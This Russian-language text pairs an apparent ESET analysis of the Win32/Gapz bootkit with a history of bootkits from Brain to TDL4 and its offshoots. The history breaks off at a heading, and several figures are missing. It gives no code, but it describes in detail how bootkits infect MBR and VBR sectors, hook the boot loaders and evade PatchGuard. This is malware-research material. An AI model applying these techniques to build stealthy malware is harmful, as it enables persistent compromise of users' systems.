Boot kit: Современные буткит-технологии и детальный анализ Win32/Gapz

Современные буткит-технологии и детальный анализ Win32/Gapz

В последние несколько лет увеличилось распространение вредоносных программ (буткитов), модифицирующих загрузочные сектора в процессе заражения системы. Среди самых видных представителей — TDL4, Olmasco и Rovnix. Каждый из них использует различные способы заражения жесткого диска, это либо модификация главной загрузочной записи (MBR), либо модификация первых секторов загрузочного раздела, т. е. VBR или IPL (первые сектора тома, куда передается управление из MBR — Volume Boot Record/Initial Program Loader). Наглядно эти семейства показаны на рисунке ниже.

Рис. 1. Схема различных семейств буткитов и методов заражения диска.

Существует несколько причин использования буткитов в современных угрозах:

● Возможность запуска вредоносного кода раньше кода ОС, что дает неоспоримые преимущества и позволяет контролировать процесс загрузки ОС.

● Как следствие первого пункта, позволяет обходить систему мониторинга целостности ключевых компонентов ядра — PatchGuard (практически единственный способ обеспечить выживаемость руткита в x64-среде).

● Возможность глубоко скрывать свой код и, таким образом, делать его невидимым для AV-сканеров.

● Буткит имеет посекторную архитектуру хранения своего тела на диске, что дает возможность выносить свой вредоносный код и код полезной нагрузки далеко за пределы файловой системы и даже разделов диска, делая почти невозможным его обнаружение.

● Безопасная установка руткита в системе.

В отчете ESET по угрозам и трендам за 2012 г., мы указали, что буткиты являются одним из ключевых технических трендов прошедшего года. Наши эксперты отслеживают появление новых сложных угроз. Мы также не обошли стороной и Win32/Gapz, так как он содержит ряд технических особенностей, которые делают его действительно интересным. Александр Матросов и Евгений Родионов проделали большую работу, занимаясь анализом этого буткита. Сегодняшний наш пост посвящен этому анализу.

Дроппер

Начнем с дроппера — компонента, который является изначальным носителем кода буткита и отвечает за его установку в системе. Мы детектируем его как: Win32/Gapz.X, X-версия. Мы обнаружили три его версии, A, B и C. Ниже в таблице приведены их характеристики:

Рис. 2.

В соответствии с нашими наблюдениями, первая известная версия дроппера была скомпилирована в апреле прошлого года и содержала много отладочной информации, т. е. не подразумевалась для массового распространения. Вполне вероятно, что Win32/Gapz начали массово распространять в конце лета или начале сентября прошедшего года. Для поднятия своих привилегий в системе Win32/Gapz использует LPE-эксплойты и COM Elevation метод.

В процессе анализа мы обнаружили, что заражению Win32/Gapz подвержены: 32-битные Windows XP SP2 и выше (исключая Windows Vista и Vista SP1) и 64-битные Windows XP SP2 и выше. Обсуждаемая версия дроппера Win32/Gapz способна заражать Windows XP и Windows 7, включая x64 версии, однако на Windows 8 буткит-часть не работает должным образом и после заражения часть, надлежащая к исполнению в режиме ядра, не исполнялась.

Рис. 3. Часть кода дроппера, проверяющая версию ОС.

Дроппер, устанавливающий буткит в систему, тщательно продуман и способен обойти современные проактивные защиты (HIPS), а также поднимать свои привилегии до уровня системы. Кроме того, он содержит хитрый метод внедрения кода в адресное пространство процесса. Файл дроппера экспортирует из себя несколько функций, которые указаны ниже на рисунке.

Рис. 4. Функции, экспортируемые исполняемым файлом дроппера.

Есть три экспортируемые функции, на которые следует обратить внимание: start, icmnf и isyspf. Краткое описание:

● start — точка входа в дроппер, осуществляет его внедрение в адресное пространство доверенного процесса explorer.exe;

● icmnf — отвечает за повышение (эскалацию) привилегий;

● isyspf — выполняет заражение жертвы кодом буткита.

Код дроппера использует специальную секцию, которая спроецирована в адресное пространство процесса explorer. Через эту секцию он загружает шелл-код в этот процесс и далее, с помощью специально сформированного API-вызова, производит его активацию. Соответственно, после того, как шелл-код активирован, он подгружает образ дроппера в адресное пространство процесса explorer, вызывает функцию повышения привилегий и инициирует процедуру заражения кодом буткита, записывая его на диск.

Рис. 5. Стадии выполнения дроппера и заражения жертвы кодом буткита.

После того, как дроппер заразил систему буткитом, его задача исполнена, и он удаляет свой файл с диска.

Вредоносный код MBR

Мы обнаружили две модификации буткита Win32/Gapz, которые различаются методами заражения диска жертвы. Самая ранняя модификация появилась в начале лета 2012 г., эта версия была нацелена на заражение MBR. Другая, более поздняя модификация, которая заражает VBR, была замечена в конце осени 2012 г.

Рис. 6. Две модификации Win32/Gapz, нацеленные на заражения MBR и VBR.

Давайте рассмотрим более раннюю модификацию буткита, которая нацелена на заражение MBR, подробнее. В этом случае, код буткита можно разбить на несколько частей:

● вредоносный MBR;

● код режима ядра и полезная нагрузка, внедряемая в процессы.

Вредоносный код сохраняет свой код режима ядра и полезную нагрузку либо перед самым первым разделом, либо после последнего раздела на жестком диске. Такой подход очень похож на тот, который использовался в бутките Rovnix, за исключением того, что Rovnix заражает VBR.

Что касается буткит части Win32/Gapz, то в ней нет ничего необычного: как только код из вредоносного MBR исполнился, он восстанавливает оригинальный код в памяти и читает следующие секторы жесткого диска, содержащие код для последующего исполнения, на который и передается управление. Код буткита перехватывает обработчик прерывания 0x13, int 13h и отслеживает, таким образом, загрузку ниже перечисленных модулей ОС для установки туда перехватов:

● ntldr (на системах до Windows Vista)

● bootmgr (на системах Vista+)

● winload.exe (на системах Vista+)

Код буткита идентифицирует каждый из вышеперечисленных модулей, используя специальные последовательности байт. Ниже перечислен список функций, которые буткит перехватывает в этих модулях:

Как только вредоносный код обнаруживает, что конкретный модуль читается с жесткого диска, он модифицирует его таким образом, чтобы вернуть себе контроль после того, как процессор переключится в защищенный режим. Буткит устанавливает перехваты на загрузчик ядра ОС: это либо ntldr в устаревших системах до Windows Vista, либо bootmgr в Vista и выше. В случае с bootmgr, он также перехватывает функцию OslArchTransferToKernel в winload.exe.

Рис. 7. Перехватчик функции OslArchTransferToKernel в winload.exe.

Следующий этап, это установка перехвата на функцию IoInitSystem, которая вызывается в процессе инициализации ОС. Она перехватывается вредоносным кодом либо из ntldr, либо из winload.exe, в зависимости от версии ОС.

Рис. 8. Код перехвата, устанавливаемого на функцию IoInitSystem.

После того, как вредоносный код из IoInitSystem был исполнен, буткит восстанавливает модифицированные байты в образе ядра ntoskrnl и передает управление оригинальной IoInitSystem. Перед передачей управления оригинальному коду, буткит перезаписывает адрес возврата в стеке на свою функцию, которая, соответственно, будет исполнена по завершении исполнения IoInitSystem. С помощью такого трюка вредоносный код получает управление после того, как ядро ОС будет инициализировано. Далее вредоносный код считывает остальную свою часть с жесткого диска и создает отдельный системный поток, который исполняет эти инструкции и в завершении возвращает управление ядру. В этой части буткита, которая исполняется в режиме ядра, реализуется руткит-функционал, внедрение полезной нагрузки в процессы и взаимодействие с C&C сервером.

Вредоносный код VBR

Как мы уже упоминали, последняя модификация Win32/Gapz заражает VBR тома, который помечен как активный в MBR (Volume Boot Record — первые сектора тома, в которых прописана служебная информация, а также VBR-код, на который передается управление из MBR и который отвечает за дальнейшую загрузку ОС). Буткит использует оригинальный подход для заражения VBR с последующей передачей управления своему коду. Для того чтобы быть более скрытным и незаметным, он модифицирует только несколько байт оригинальной VBR. Суть такого подхода заключается в том, что он модифицирует значение поля «Hidden Sectors» в поле служебной структуры VBR, при этом оставляя код VBR и код IPL нетронутым! IPL, Initial Program Loader — код, на который передается управление после исполнения кода VBR, он отвечает за поиск загрузчика в рамках файловой системы тома и передает на него управление. В состав VBR включены следующие части:

● Bootstrap-код (VBR-код), отвечающий за загрузку IPL.

● BIOS Parameter Block (BPB) — структура данных, хранящая блок параметров NTFS.

● Текстовые строки, отображаемые пользователю в случае ошибки.

● 0xAA55 — стандартная двухбайтовая сигнатура, маркер служебного сектора.

Рис. 9. Схема первого сектора VBR.

В случае с Win32/Gapz, наиболее интересным местом для анализа является BPB и особенно поле «Hidden Sectors». Это поле содержит количество секторов, предшествующих IPL (т. е. смещение до IPL в секторах, с помощью которого код из VBR определяет, куда передавать управление далее) и хранящихся на NTFS-томе, как показано ниже.

Рис. 10. Структура NTFS-тома.

Таким образом, в процессе загрузки на чистой системе, VBR-код считывает 15 секторов, начиная со смещения, указанного в «Hidden Sectors», и передает туда управление. Этим и пользуется буткит для передачи управления на себя. Он перезаписывает это значение, указывая смещение в секторах до своего вредоносного кода, хранящегося на диске. После заражения том выглядит так:

Рис. 11. Модифицированное буткитом значение «Hidden Sectors» приводит к тому, что код VBR передает управление на код буткита, а не на IPL.

В случае заражения системы, VBR-код вызывает на исполнение код буткита вместо легального IPL. Код буткита, как уже упоминалось, записывается либо перед самым первым разделом диска, либо после последнего. В остальном код буткита, по существу, ничем не отличается от версии с MBR-инфектором.

Вредоносный код режима ядра

Основное предназначение непосредственно той части, которая и называется буткитом, описанной выше, заключается в загрузке вредоносного кода режима ядра или руткита в системное адресное пространство, обходя ограничения, накладываемые ОС для такого привилегированного кода. Мы уже упоминали, что этот загружаемый буткитом код, содержит в себе руткит для скрытия своего присутствия, механизм работы с управляющим сервером C&C, а также полезную нагрузку (payload), которая предназначена для внедрения в процессы.

В отличие от Rovnix, TDL4 и других распространенных буткитов, вредоносный код режима ядра в Win32/Gapz не имеет структуры исполняемого PE-файла. Вместо этого он структурирован особым образом. Код состоит из 12 объединенных между собой блоков, каждый из которых имеет заголовок — структуру, которая хранит служебную информацию о нем. Она имеет следующий вид:

Каждый из блоков реализует определенный функционал: внедрение полезной нагрузки, взаимодействие с C&C серверами, самозащиту и так далее. Функционал кода режима ядра является достаточно сложным и может быть рассмотрен отдельно (выходит за рамки этого поста).

Bootkits vs. Microsoft ELAM

В этой части нашего поста мы хотим остановиться на специальном средстве, которое Microsoft решили использовать для борьбы с различного рода угрозами, особенно, руткитами и буткитами, которые пытаются загрузить себя раньше других драйверов в системе. Средство называется ELAM, Early Launch Anti-Malware Module и поставляется в составе ОС, начиная с Windows 8. По сути ELAM – это драйвер, предоставляемый антивирусным вендором, которому гарантирован приоритет при загрузке драйверов режима ядра. С точки зрения же ядра ОС, ELAM представляет собой API для антивирусных драйверов, а также набор правил, которых такому драйверу следует придерживаться. Одна из главных возможностей этого средства заключается в том, что он гарантированно позволяет AV-драйверу загружаться раньше остальных драйверов в системе и, таким образом, выходить за рамки обычных правил автозагрузки, регламентируемых для остальных драйверов.

Мы отмечаем, что ELAM сам по себе не может быть так эффективен для борьбы с буткитами, поскольку это часть ядра ОС, а буткит получает управление гораздо раньше.

Рис. 12. Мы видим, что буткит может компрометировать систему с активным ELAM, делая его бесполезным инструментом. Поскольку буткит загружается раньше инициализации ОС, он будет уже находиться в памяти на тот момент, когда ELAM получит управление.

В то же время, следует отметить, что ELAM является частью декларируемой Microsoft концепции или схемы «Безопасной загрузки» — Secure Boot. В случае с Secure Boot, программное обеспечение, встроенное в UEFI (такое ПО получает управление как только компьютер начал свою работу) может контролировать целостность и легитимность кода, на который передается управление в процессе выполнения кода, предшествующего выполнению основного кода ОС. Концепция Secure Boot, совместно с новым стандартом UEFI, призвана предотвратить компрометацию критичных структур данных ОС/UEFI со стороны буткитов.

Самая полная история буткитов — «Хакер»

Содержание статьи

Антивирусы 90-х очень серьезно относились к проблеме буткитов. Их авторы советовали не забывать дискету в дисководе А:, они всегда проверяли этот диск перед выключением компьютера. Внезапно «загрузочные вирусы» из прошлого в нашем объективном настоящем снова оказались на коне! Посмотрим, какого уровня развития они сейчас достигли.

Первооткрыватели жанра

Одним из первых вирусов для платформы IBM PC, работающих в среде MS-DOS, был Brain, созданный в 1986 году. Вирус Brain был не файловым, а загрузочным — он инфицировал 5-дюймовые дискеты, так как винчестеры тогда еще не были широко распространены. После заражения вредоносный код постепенно заполнял все свободное пространство дискеты, так что использовать ее становилось невозможно. Авторы Brain — братья Басит Фарух Алви и Амджад Фарух Алви из Пакистана, которые решили написать программу для защиты своих медицинских программ от пиратов. Они даже разместили в коде программы свои адреса и телефоны — чтобы получить средства удаления Brain.

Однако потом, когда распространение вируса приняло масштабы эпидемии, братья Алви под шквалом телефонных звонков были вынуждены сменить место работы и номера телефонов. На этом их опыт вирусописательства и закончился.

В 1987 году из-под пера одного студента из Новой Зеландии вышел очередной вирус, заражающий MBR дискет и жестких дисков. Название ему дали Stoned, так как при загрузке компьютера вирус в одном случае из восьми выводил сообщение: «Your PC is now Stoned!» — «Ваш компьютер сейчас балдеет!». Кроме того, внутри кода вируса содержался призыв к легализации марихуаны (Legalise Marijuana). Stoned в начале 90-х годов долгое время беспокоил сисадминов по всему миру. Сам вирус по нынешним меркам был совсем маленьким — всего 512 байт (один сектор). Оригинальный сектор сохранялся в другом месте диска, его расположение было разным для дискеты и винчестера. В процессе работы перехватывалось прерывание 13h (дисковые операции BIOS), что позволяло определять моменты работы ОС с дискетой и заражать ее в это время. Тогда никто не мог предполагать, что спустя двадцать лет идеи, реализованные в Brain и Stoned, обретут свое второе рождение в виде буткитов — вредоносных программ, скрывающих свое присутствие в недрах операционной системы, получая управление до ее загрузки. Мало того, один из концептуальных проектов так и называется в честь своего предшественника — Stoned bootkit.

От концепта до «серийного» образца

Появлению in the Wild первых oбразцов malware, использующих технику получения управления до момента загрузки Windows, предшествовали несколько концептуальных наработок. Во-первых, это проект BootRoot (работал на системах Windows 2000/XP), представленный на конференции Black Hat USA 2005 Дереком Сёдером (Derek Soeder) и Райаном Пермехом (Ryan Permeh) из компании eEye Digital Security. Во-вторых — работа Vbootkit (демонстрация работы на Vista RC1/RC2) от Найтина и Вайпина Кумаров (Nitin и Vipin Kumar), индийских исследователей систем безопасности из компании NVlabs. Доклад о Vbootkit был представлен на конференциях Black Hat и Hack in the Box в 2007 году и демонстрировал возможность обхода защитных механизмов ОС Vista — проверку цифровых подписей загружаемых драйверов.

«Классическим» представителем буткитов принято считать Mebroot — вредонос, первые штаммы которого были обнаружены антивирусными компаниями в конце 2007 года. Mebroot использовал многочисленные заимствования из проекта BootRoot. Анализ первого поколения Mebroot (version 0) показал, что ботнет на его основе работал в тестовом режиме, о чем свидетельствует большое количество отладочных сообщений, отправляемых на управляющий сервер. Как отмечают некоторые реверсеры, в этой версии отчетливо прослеживалось использование при программировании метода copy-paste (присутствие некоторого количество багов) без четкого представления о работе отдельных участков кода. Несмотря на ошибки, Mebroot без колебаний можно отнести к разряду hi-tech-вредоносов.

В интернете Mebroot часто называют Sinowal, тогда как Sinowal (aka Torpig или Anserin) — известное с 2005 года семейство троянских программ, на базе которых формировался ботнет. Главная цель этого ботнета — кража информации для организации несанкционированных банковских операций. Так что Mebroot — это загрузчик Sinowal.

Устанавливал Mebroot дроппер размером от 250 до 350 Кб в ранних версиях и до 430 Кб в более поздних. Ранняя версия дроппера заражала жесткий диск спустя 20 минут, а спустя еще 20 вызывала перезагрузку ОС. Прямой доступ к диску в этой версии осуществлялся стандартными функциями WinAPI, а именно вызовом CreateFile с открытием устройства \Device\Harddisk0\DR0 (в более поздних версиях — \??\RealHardDiskN и \??\PhysicalDriveN). Причем прямой доступ к диску осуществлялся из ring 3 (не ring 0!) при наличии прав администратора. Начиная с висты, прямой доступ к диску из пользовательского режима был заблокирован, и Mebroot version 1, активно распространяемый в феврале 2008-го уже в рабочем режиме, для записи использовал загрузку собственного драйвера, выполнявшего роль переходника к системному драйверу disk.sys.

Компоненты буткита размещались в следующих местах диска:

• сектор 0 — загрузчик;
• сектор 60 — патчер файлов ОС;
• сектор 61 — код, отвечающий за загрузку вредоносного драйвера;
• сектор 62 — оригинальная MBR из сектора 0;
• последние неиспользуемые сектора (около 650) — вредоносный драйвер.

Инициализация Mebroot при перезагрузке ОС происходила в несколько этапов (см. рис. 1):

Рис. 1. Этапы загрузки Mebroot

1. Загрузчик выделял 2 килобайта памяти и перемещал свой код с адреса 0x7C00 в 0x0000.
2. Содержимое секторов 60 и 61 загружалось в выделенную область памяти.
3. Обработчик прерывания 13h перехватывался (устанавливался в адрес 0x004D).
4. По адресу 0x7C00 загружалась оригинальная MBR из сектора 62, и управление передавалось ей.
5. Перехватчик прерывания 13h отслеживал момент загрузки модуля osloader (часть ntldr) путем поиска определенной сигнатуры и модифицировал его.
6. Пропатченный osloader выполнял шелл-код (сектор 60), который искал и подменял в ntoskrnl.exe функцию nt!IoInitSystem.
7. Пропатченный ntoskrnl.exe выполнял шелл-код (сектор 61).
8. Шелл-код в ntoskrnl.exe выполнял загрузку вредоносного драйвера, хранившегося в последних секторах.

Mebroot довольно успешно скрывал свое присутствие в системе от антивирусных программ, так как не производил никаких изменений в файловой системе и реестре, за исключением сохраненной в зашифрованном виде полезной нагрузки. Она скачивалась вредоносным драйвером, реализующим скрытый канал передачи данных на основе перехвата функций NDIS драйвера сетевой подсистемы, что позволяло успешно обходить файрвол. Кроме того, драйвер отвечал за механизмы сокрытия и самозащиты, перехватывая функции две функции из disk.sys: IRPMJREAD и IRPMJWRITE. Первая позволяет скрывать истинное содержимое используемых буткитом секторов жесткого диска при их чтении, а вторая предотвращала перезапись MBR.

Для взаимодействия с управляющими серверами, кроме жестко заданного имени, использовался механизм динамического формирования доменных имен (DGA — Domain Generation Algorithm). В качестве исходных данных бралась текущая дата, получаемая из системы, а в поздних версиях — путем парсинга временных меток в ответах серверов Google. Канал передачи данных шифровался. Полезная нагрузка представляла собой зашифрованный контейнер, содержащий две DLL и инструкции, в какие процессы подгружать вторую из них (первая внедрялась в процесс services.exe). Контейнер подвергался расшифровке, затем снова шифровался другим ключом и сохранялся в каталоге %System% в виде файла, имя которого выбирается из имеющихся в этом каталоге файлов, а расширение случайное. DLL, внедренная в процессы браузеров, на лету модифицировала HTML-страницы банковских сайтов (путем внедрения iframe и jscript) и перехватывала банковские реквизиты доступа (логины и пароли), которые опять-таки в зашифрованном виде отправлялись на серверы злоумышленников.

По ходу развития версий Mebroot видно, что его разработчики пристально следили за выпуском средств лечения от производителей антивирусов, анализировали используемые методы обнаружения и оперативно реагировали выпуском новых версий, снова невидимых для антивирусов и с апгрейдом алгоритмов самозащиты. Так, в версии марта 2008 года перехватывались уже все функции из disk.sys, а за их изменением следил отдельный поток (watchdog). Если какая-либо антивирусная утилита пыталась «вернуть все как было», перехваты восстанавливались и диск заражался повторно.

В апреле 2009 года Mebroot уже освоил и новомодную на тот момент Windows Vista.

И снова концепты

Детальный анализ кода Mebroot можно найти на сайте stoned-vienna.com авторства Питера Клайснера (Peter Kleissner), который, видимо, под впечатлением от обнаруженного, решил замутить свой буткит с блекджеком и шлюхами, в смысле — принялся за разработку своего проекта Stoned Bootkit, представленного на Black Hat USA 2009. Сам Питер Клайснер утверждает, что его проект носит чисто исследовательский характер и помогает сотрудникам антивирусных лабораторий разрабатывать новые методы противодействия таким видам малвари. В конечном итоге проект Stoned Bootkit стал настолько популярным, что его полные последние версии, под давлением антивирусных компаний, не выкладываются в открытый доступ, а public lite версия довольно сильно урезана в плане функциональности. Как показали дальнейшие события, Stoned Bootkit стал отличной отправной точкой для многих злоумышленников, которые решили наделить свои поделки функциями буткита. Вот, например, Whistler Bootkit. Какие-то предприимчивые товарищи взяли Stoned v2 Alpha 3 от 20 октября 2009 года, подрихтовали напильником и в начале 2010 года стали предлагать к продаже. В качестве рекламы в одном из блогов была размещена информация о новом интересном бутките, который запускал вредоносные файлы из каталога C:\System Volume Information с правами NT-AUTHORITY\SYSTEM.

В том же 2009 году Найтин и Вайпин Кумары в рамках прошедшей в Дубае конференции Hack In The Box продемонстрировали Vbootkit версии 2.0, на этот раз заточенный под Windows 7 x64. Примененные в нем методы позволили успешно нейтрализовать действие механизмов PatchGuard и Driver Signing Policy, которые не давали модифицировать ряд системных объектов для реализации перехватов функций и загружать неподписанные драйверы, чтобы получить возможность выполнения кода в режиме ядра. Поначалу выложенные под лицензией GPL исходные коды проекта Vbootkit постигла участь исходников Stoned Bootkit — они точно так же были выпилены, дабы не плодить очередную толпу скрипткиддисов. Однако заинтересованные в теме лица необходимые для своей черной работы материалы все равно успели получить, и все заверте…

Кроме собственно проекта Stoned Bootkit, на сайте stoned-vienna.com в разделе статей находятся несколько материалов, посвященных исследованию и анализу некоторых образцов malware. Вот, например, анализ одной из китайских поделок — товарищи из КНР внимательно изучили Mebroot и прикрутили функции буткита к своему трояну со звучным названием Ghost Shadow, сокращенный аналитиками Microsoft до Ghodow. Получившийся гибрид, обнаруженный Symantec в марте 2010 года, известен под названием Trojan.Mebratix.B. Хотя отдельные участки его кода начисто слизаны с Mebroot, некоторые особенности были достаточно интересными. Так, для уменьшения вероятности обнаружения по изменению MBR Mebratix не переписывал его целиком, а лишь изменял аргументы инструкции mov, находящейся по смещению 00D0h от начала загрузочного кода таким образом, чтобы чтение сектора и передача управления происходила не в первый сектор загрузочного раздела, а во второй сектор диска, содержащий продолжение Mebratix. Эта часть загрузочного кода выполняла чтение 59 секторов жесткого диска (начиная со второго сектора) в память. В этих секторах хранились все остальные компоненты буткита, причем сектора со второго по четвертый были зашифрованы с помощью операции Xor, ключ для которой вычисляется динамически на каждой итерации получения очередного значения байта. Начиная с пятого сектора хранился драйвер размером около 17 Кб. Назначение драйвера буткита — внедрение кода пользовательского режима в процесс explorer.exe и установка перехватов на обработчики IRP-запросов типа IRPMJREAD/IRPMJWRITE драйвера класса диска Disk.sys. Указанные перехваты обеспечивали защиту секторов диска, в которых хранились компоненты буткита, от попыток чтения или перезаписи.

Защита Windows

Активным продвижением технологий x64 на рынке десктопных операционок компания Microsoft начала заниматься с версии Windows Vista. Справедливости ради следует упомянуть о существовании XP x64, которая в последней своей редакции была собрана из кода Windows Server 2003. Кроме явного преимущества в виде поддержки количества оперативки, большей 4 Гб, в 64-битных системах появилось несколько технологий, направленных на защиту от воздействия вредоносного ПО. Одна из них — PatchGuard, которая отслеживает изменение критических объектов ядра ОС, таких как:

• таблица глобальных дескрипторов — GDT;
• таблица дескрипторов прерываний — IDT;
• таблица дескрипторов системных сервисов — SSDT;
• некоторые системные файлы, например NTOSKRNL.EXE, NDIS.SYS, HAL.DLL;
• служебные MSR-регистры STAR/LSTAR/CSTAR/SFMASK.

При загрузке, в рамках функционирования PatchGuard, ОС подсчитывает контрольные суммы для указанных выше объектов, сохраняет их и периодически проверяет соответствие текущих значений с сохраненными. Обнаружив модификацию объектов (по изменению контрольной суммы), ОС аварийно завершает свою работу с вызовом BSOD. Кроме PatchGuard, появился еще один защитный механизм — запрет загрузки драйверов, не имеющих валидной цифровой подписи (Driver Signing Policy).

Механизмы PatchGuard и Driver Signing Policy значительно усложнили жизнь разработчикам вредоносных программ с функциями руткита, работающим в режиме ядра. Это вынудило злоумышленников искать обходные пути для обеспечения функционирования своих вредоносов в конечном итоге привело к возникновению особого класса malware — bootkit (сочетание слов boot и rootkit).

Любитель культовых фильмов

Знамя hi-tech-вредоносов успешно подхватило семейство TDL, трансформировавшееся в буткит в версии TDL4 (aka Tidserv или Olmarik по ESET — и где они такие названия берут?). Интересный факт о TDL: у авторов отличное чувство юмора, в коде встречаются отладочные строки — цитаты из культовых кинопроизведений («Бойцовский клуб», «Симпсоны», «Страх и ненависть в Лас-Вегасе», «Форест Гамп», «Звездные войны» и другие). По непроверенной информации, за созданием TDL первых трех версий стоял человек с ником Tyler Durden, а TDL расшифровывался как Tyler Durden Loader (хотя с равным успехом он мог бы расшифровываться как Trojan DownLoader — версии такие версии). Предполагают, что Tyler Durden был одним из сотрудников компании Comodo. Бизнес на базе TDL3 было решено свернуть после взлома сотрудниками Esage Lab командных серверов TDL3 и партнерской программы Dogma Million, что привело к утечке базы клиентов, которая сначала ходила в привате, а потом попала в руки отдела К летом 2010 года. TDL4 разрабатывался другими кодерами из исходников третьей версии, купленной за 65 тысяч долларов.

Так или иначе, в июле 2010-го выходит TDL4 0.01, а уже в августе 2010-го — TDL4 0.02 с поддержкой x64 операционных систем, став первым образцом malware такого вида, обнаруженным In The Wild. Проект Stoned Bootkit получил поддержку платформ x64 только в 2011 году.

Подхватив удачную идею Mebroot о хранении своих компонентов вне файловой системы, разработчик TDL еще в третьей версии развил ее до концепции хранилища с виртуальной файловой системой. Доступ к хранилищу обеспечивался драйвером-руткитом, который, кроме того что обладал функциями сокрытия и самозащиты, создавал виртуальное устройство, что позволяло при работе с файлами использовать стандартные функции WinAPI, такие как CreateFile(), WriteFile(), ReadFile(). Компоненты TDL4 хранились в специальной области (размером не более 8 Мб) в конце жесткого диска. В зашифрованном алгоритмом RC4 хранилище размещались основные модули с именами ldr16, ldr32, ldr64, конфигурационный файл, а также другие модули, загружаемые по сети. Код в MBR передавал управление компоненту ldr16. После передачи управления ldr16 перехватывал функции работы с жестким диском. Для загрузки TDL4 использовалась подмена файла kdcom.dll (путем установки перехватчика на Int 13h и поиска определенной сигнатуры kdcom.dll), который необходим для инициализации ядра на стадии загрузки. Вместо kdcom.dll в итоге загружался вредоносный компонент ldr32 или ldr64 в зависимости от разрядности целевой ОС. Бинарный код ldr32 и ldr64 практически идентичен, так как он скомпилирован из одних исходников.

Версия TDL4 0.03, вышедшая в сентябре 2010-го, для повышения своих привилегий в системе использовала эксплуатацию уязвимости в Task Scheduler, закрытую патчем MS10-092. При этом Windows XP не заражалась, в ней дроппер просто завершал свою работу.

Новые горизонты

Существующие до 2011 года буткиты изменяли компоненты ОС в процессе загрузки, перехватив прерывания BIOS 13h. А между тем эта техника использовалась еще во времена MS-DOS, и ей свойственны определенные недостатки: перехваченный обработчик исполняется только до загрузки ядра, так как далее прерывания BIOS уже не используются, кроме того, сигнатурный поиск нужного модуля может не сработать, если искомый паттерн будет находиться между двумя секторами. Поэтому два студента Австрийского университета прикладных наук Вольфганг Этлингер (Wolfgang Ettlinger) и Стефан Фибек (Stefan Viehbëck) пораскинули мозгами и пришли к выводу, что можно задействовать такую фичу, как многоядерность современных процессоров. Пускай загрузка происходит на одном ядре, а на втором в это время будет крутиться вредоносный код, который и будет патчить компоненты ОС. Прототип буткита, построенного на этом принципе, был представлен на NinjaCon 2011 под кодовым названием EvilCore. В общих чертах алгоритм работы его был следующим:

• после загрузки вредоносной MBR EvilCore отключается режим Symmetric Multi Processing, который ограничивает число процессорных ядер в ОС;
• уменьшается размер памяти, доступный ОС;
• код переносится в конец физической памяти, не используемой ОС, сам при этом продолжает выполняться в кеше CPU;
• на ядре CPU0 управление передается загрузчику ОС, а на CPU1 продолжает выполняться код EvilCore в режиме ядра и с полным доступом ко всей физической памяти.

А вот как происходит изменение кода ядра:

• в точку входа вставляется бесконечный цикл в виде инструкции jmp;
• пока CPU0 работает вхолостую, можно производить необходимые модификации;
• после изменения бесконечный цикл вставляется в следующий блок кода;
• точка входа восстанавливается.

Пример патча приведен на рис. 2.

Рис. 2. Как EvilCore модифицирует память

При демонстрации прототипа указывалось на следующие недостатки: минус одно ядро в task manager (палево!) и снижение производительности. Первая проблема легко решается, доступ к памяти есть, поэтому число CPU можно просто подправить. Решение второй тоже тривиально: после патча компонентов ОС завершить выполнение вредоносного кода и освободить ядро процессора. Пока эти наработки в «массы» не пошли, поэтому в настоящее время образцов malware, созданных по подобию EvilCore, в «диком виде» не выявлено.

Продолжатели дела TDL

TDL со временем приобрел много приемников. Очередная киберпреступная группировка (будем называть ее Pragma, такие идентификаторы содержались в их коде) прибрала к рукам исходники TDL3 и TDL4 и стала клепать свои альтернативные версии этих вредоносов под названием SST или MaxSS (Olmasco по ESET). Преемственность кодов TDL привела к тому, что в классификации многих антивирусных вендоров царит полная неразбериха и, по сути, разные семейства продолжают именоваться как их предок (TDL, TDSS или Tidserv). Продажа кодов TDL4 не привела к его исчезновению, этот проект продолжил развиваться параллельно проекту SST.

TDL3 based вариант SST (с заражением драйвера) распространялся с начала 2011 года до начала лета, когда пошли загрузки тестовой версии SST на базе TDL4 с заражением MBR. На то, что это тестовая версия, указывал большой объем трассировочных логов, отправляемых на C&C во время установки, а также многочисленные сообщения об ошибках, которые буткит отправлял во время своей работы. Из фишек сотрудники компании Microsoft отметили очень интересный способ «резервного» канала восстановления связи SST со своими командными серверами. Конфигурационный файл с их адресами содержался в файлах формата JPG, которые размещались на хостинге imageshack.us. Ссылки на такие изображения содержались в постах, опубликованных на популярных блогерских площадках livejournal.com и wordpress.com.

Так или иначе, тестовая версия в августе была заменена новой и содержала в себе уже несколько иной способ получения управления при загрузке (см. рис. 3). Исполняемый код MBR не изменялся вовсе, а хранилище файлов организовывалось не просто в последних секторах диска, а в виде отдельного раздела размером до 15 Мб. Флаг активного раздела изменялся с загрузочного раздела ОС на раздел SST. Файловая система раздела с хранилищем в целом повторяла ФС TDL4, однако содержала некоторые улучшения, в частности было убрано ограничение на 15 файлов, а сами файлы в заголовке содержали контрольную сумму CRC32. Это позволяло реализовать в ФС проверку на целостность, в случае обнаружения повреждений файл удалялся из хранилища.

Рис. 3. Изменения, вносимые SST в MBR

В конце года на сцену выходит форк TDL-4 под неблагозвучным названием Pihar, который по своим характеристикам почти не отличался от оригинального TDL-4. В нем был применен ряд мер, изменяющих сигнатурные характеристики компонентов. Например, шифровался не раздел целиком, а только файл конфигурации. В заголовке этого файла, кстати, присутствовала строка [PurpleHaze] — по всей видимости отсылка к песне легендарного Джимми Хендрикса.

Дроппер Pihar использовал для своей установки метод DLL hijacking с применением легального установщика Adobe Flash Player. Эту же фишку использовал ZeroAccess, разве что имена библиотек различались (ncrypt.dll вместо msimg32.dll).

В 2012 году компания Damballa представила аналитический отчет под названием «A New Iteration of the TDSS/TDL4 Malware Using DGA-based Command-and-Control». В нем говорилось, что обнаружен трафик, аналогичный по своим параметрам семейству TDL. Он был выявлен с помощью автоматизированной системы «Плеяды» (Pleiades), предназначенной для обнаружения малвари, использующей механизм DGA для связи со своими C&C. Дальнейший анализ показал, что это действительно новая модификация TDL4, его алгоритм генерации доменных имен назвали DGAv14.

По информации ресурса kernelmode.info, потомки TDL4 с обфусцированным конфигом (осмысленные имена вида ldr16, ldr32, ldr64 заменены числовыми строками) встречаются в интернете до сих пор.

Самый сложный, но не самый скрытный

